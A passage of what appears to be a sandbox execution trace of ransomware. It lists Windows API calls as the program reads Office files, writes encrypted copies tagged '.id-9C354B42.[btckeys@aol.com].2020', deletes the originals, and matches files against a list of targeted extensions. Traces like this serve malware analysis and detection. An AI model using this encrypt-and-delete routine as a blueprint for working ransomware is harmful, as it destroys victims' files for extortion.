lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0075.448] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0075.448] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.448] SetEndOfFile (hFile=0x198) returned 1 [0075.449] CloseHandle (hObject=0x198) returned 1 [0075.449] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.449] SetEndOfFile (hFile=0x1d4) returned 1 [0075.450] CloseHandle (hObject=0x1d4) returned 1 [0075.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.450] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0075.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.450] lstrlenW (lpString=".doc") returned 4 [0075.450] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.450] lstrlenW (lpString=".docx") returned 5 [0075.450] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.450] lstrlenW (lpString=".pdf") returned 4 [0075.451] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString=".xls") returned 4 [0075.451] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString=".xlsx") returned 5 [0075.451] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.451] lstrlenW (lpString=".ppt") returned 4 [0075.451] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.451] lstrlenW (lpString=".zip") returned 4 [0075.451] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.451] lstrlenW (lpString=".rar") returned 4 [0075.451] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString=".bz2") returned 4 [0075.451] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString=".7z") returned 3 [0075.451] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.451] lstrlenW (lpString=".dbf") returned 4 [0075.451] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.451] lstrlenW (lpString=".1cd") returned 4 [0075.451] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.451] lstrlenW (lpString=".jpg") returned 4 [0075.451] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.451] lstrlenW (lpString=".doc") returned 4 [0075.451] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString=".docx") returned 5 [0075.451] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.451] lstrlenW (lpString=".pdf") returned 4 [0075.451] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.451] lstrlenW (lpString=".xls") returned 4 [0075.451] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.452] lstrlenW (lpString=".xlsx") returned 5 [0075.452] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.452] lstrlenW (lpString=".ppt") returned 4 [0075.452] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.452] lstrlenW (lpString=".zip") returned 4 [0075.452] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.452] lstrlenW (lpString=".rar") returned 4 [0075.452] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.452] lstrlenW (lpString=".bz2") returned 4 [0075.452] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.452] lstrlenW (lpString=".7z") returned 3 [0075.452] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.452] lstrlenW (lpString=".dbf") returned 4 [0075.452] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.452] lstrlenW (lpString=".1cd") returned 4 [0075.452] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0075.452] lstrlenW (lpString=".jpg") returned 4 [0075.452] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.452] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.452] lstrlenW (lpString="WordMUI.XML") returned 11 [0075.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.218] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1800) returned 1 [0076.218] CloseHandle (hObject=0x1e8) returned 1 [0076.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0076.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.218] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.218] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0076.244] GetLastError () returned 0x0 [0076.244] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x708, lpOverlapped=0x0) returned 1 [0076.297] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x710, lpOverlapped=0x0) returned 1 [0076.300] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.300] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.300] SetEndOfFile (hFile=0x198) returned 1 [0076.300] CloseHandle (hObject=0x198) returned 1 [0076.301] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.301] SetEndOfFile (hFile=0x1e8) returned 1 [0076.302] CloseHandle (hObject=0x1e8) returned 1 [0076.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.302] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0076.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.303] lstrlenW (lpString=".doc") returned 4 [0076.303] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.303] lstrlenW (lpString=".docx") returned 5 [0076.303] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0076.303] lstrlenW (lpString=".pdf") returned 4 [0076.303] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.303] lstrlenW (lpString=".xls") returned 4 [0076.303] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.303] lstrlenW (lpString=".xlsx") returned 5 [0076.303] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0076.303] lstrlenW (lpString=".ppt") returned 4 [0076.303] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.303] lstrlenW (lpString=".zip") returned 4 [0076.303] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.303] lstrlenW (lpString=".rar") returned 4 [0076.303] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.303] lstrlenW (lpString=".bz2") returned 4 [0076.303] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.303] lstrlenW (lpString=".7z") returned 3 [0076.303] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.304] lstrlenW (lpString=".dbf") returned 4 [0076.304] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.304] lstrlenW (lpString=".1cd") returned 4 [0076.304] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.304] lstrlenW (lpString=".jpg") returned 4 [0076.304] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.304] lstrlenW (lpString=".doc") returned 4 [0076.304] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.304] lstrlenW (lpString=".docx") returned 5 [0076.304] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0076.304] lstrlenW (lpString=".pdf") returned 4 [0076.304] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.304] lstrlenW (lpString=".xls") returned 4 [0076.304] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.304] lstrlenW (lpString=".xlsx") returned 5 [0076.304] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0076.304] lstrlenW (lpString=".ppt") returned 4 [0076.304] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.304] lstrlenW (lpString=".zip") returned 4 [0076.304] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.304] lstrlenW (lpString=".rar") returned 4 [0076.304] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.305] lstrlenW (lpString=".bz2") returned 4 [0076.305] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.305] lstrlenW (lpString=".7z") returned 3 [0076.305] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.305] lstrlenW (lpString=".dbf") returned 4 [0076.305] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.305] lstrlenW (lpString=".1cd") returned 4 [0076.305] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0076.305] lstrlenW (lpString=".jpg") returned 4 [0076.305] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.305] lstrcmpiW (lpString1=".TXT", lpString2=".2020") returned 1 [0076.305] lstrlenW (lpString="METCONV.TXT") returned 11 [0076.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.328] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1183416) returned 1 [0076.328] CloseHandle (hObject=0x1fc) returned 1 [0076.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0076.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.328] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.328] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0076.329] GetLastError () returned 0x0 [0076.329] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0076.612] WriteFile (in: hFile=0x200, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0076.625] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0076.637] WriteFile (in: hFile=0x200, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0076.885] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.885] WriteFile (in: hFile=0x200, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.885] SetEndOfFile (hFile=0x200) returned 1 [0076.886] CloseHandle (hObject=0x200) returned 1 [0076.886] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.886] SetEndOfFile (hFile=0x1fc) returned 1 [0076.887] CloseHandle (hObject=0x1fc) returned 1 [0076.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.888] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0076.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.888] lstrlenW (lpString=".doc") returned 4 [0076.888] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0076.888] lstrlenW (lpString=".docx") returned 5 [0076.888] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0076.888] lstrlenW (lpString=".pdf") returned 4 [0076.888] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0076.900] lstrlenW (lpString=".xls") returned 4 [0076.900] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0076.900] lstrlenW (lpString=".xlsx") returned 5 [0076.900] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0076.900] lstrlenW (lpString=".ppt") returned 4 [0076.900] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0076.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.900] lstrlenW (lpString=".zip") returned 4 [0076.900] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0076.900] lstrlenW (lpString=".rar") returned 4 [0076.900] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0076.900] lstrlenW (lpString=".bz2") returned 4 [0076.900] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0076.900] lstrlenW (lpString=".7z") returned 3 [0076.900] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0076.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.900] lstrlenW (lpString=".dbf") returned 4 [0076.900] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0076.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.900] lstrlenW (lpString=".1cd") returned 4 [0076.900] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0076.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.900] lstrlenW (lpString=".jpg") returned 4 [0076.900] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.901] lstrlenW (lpString=".doc") returned 4 [0076.901] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString=".docx") returned 5 [0076.901] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0076.901] lstrlenW (lpString=".pdf") returned 4 [0076.901] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString=".xls") returned 4 [0076.901] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0076.901] lstrlenW (lpString=".xlsx") returned 5 [0076.901] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0076.901] lstrlenW (lpString=".ppt") returned 4 [0076.901] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.901] lstrlenW (lpString=".zip") returned 4 [0076.901] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0076.901] lstrlenW (lpString=".rar") returned 4 [0076.901] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString=".bz2") returned 4 [0076.901] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString=".7z") returned 3 [0076.901] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0076.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.901] lstrlenW (lpString=".dbf") returned 4 [0076.901] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.901] lstrlenW (lpString=".1cd") returned 4 [0076.901] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0076.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0076.901] lstrlenW (lpString=".jpg") returned 4 [0076.901] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0076.902] lstrcmpiW (lpString1=".jpg", lpString2=".2020") returned 1 [0076.902] lstrlenW (lpString="Sand_Paper.jpg") returned 14 [0076.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.114] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=15776) returned 1 [0077.114] CloseHandle (hObject=0x1b0) returned 1 [0077.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0077.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.114] lstrlenW (lpString=".doc") returned 4 [0077.114] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0077.114] lstrlenW (lpString=".docx") returned 5 [0077.114] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0077.114] lstrlenW (lpString=".pdf") returned 4 [0077.114] 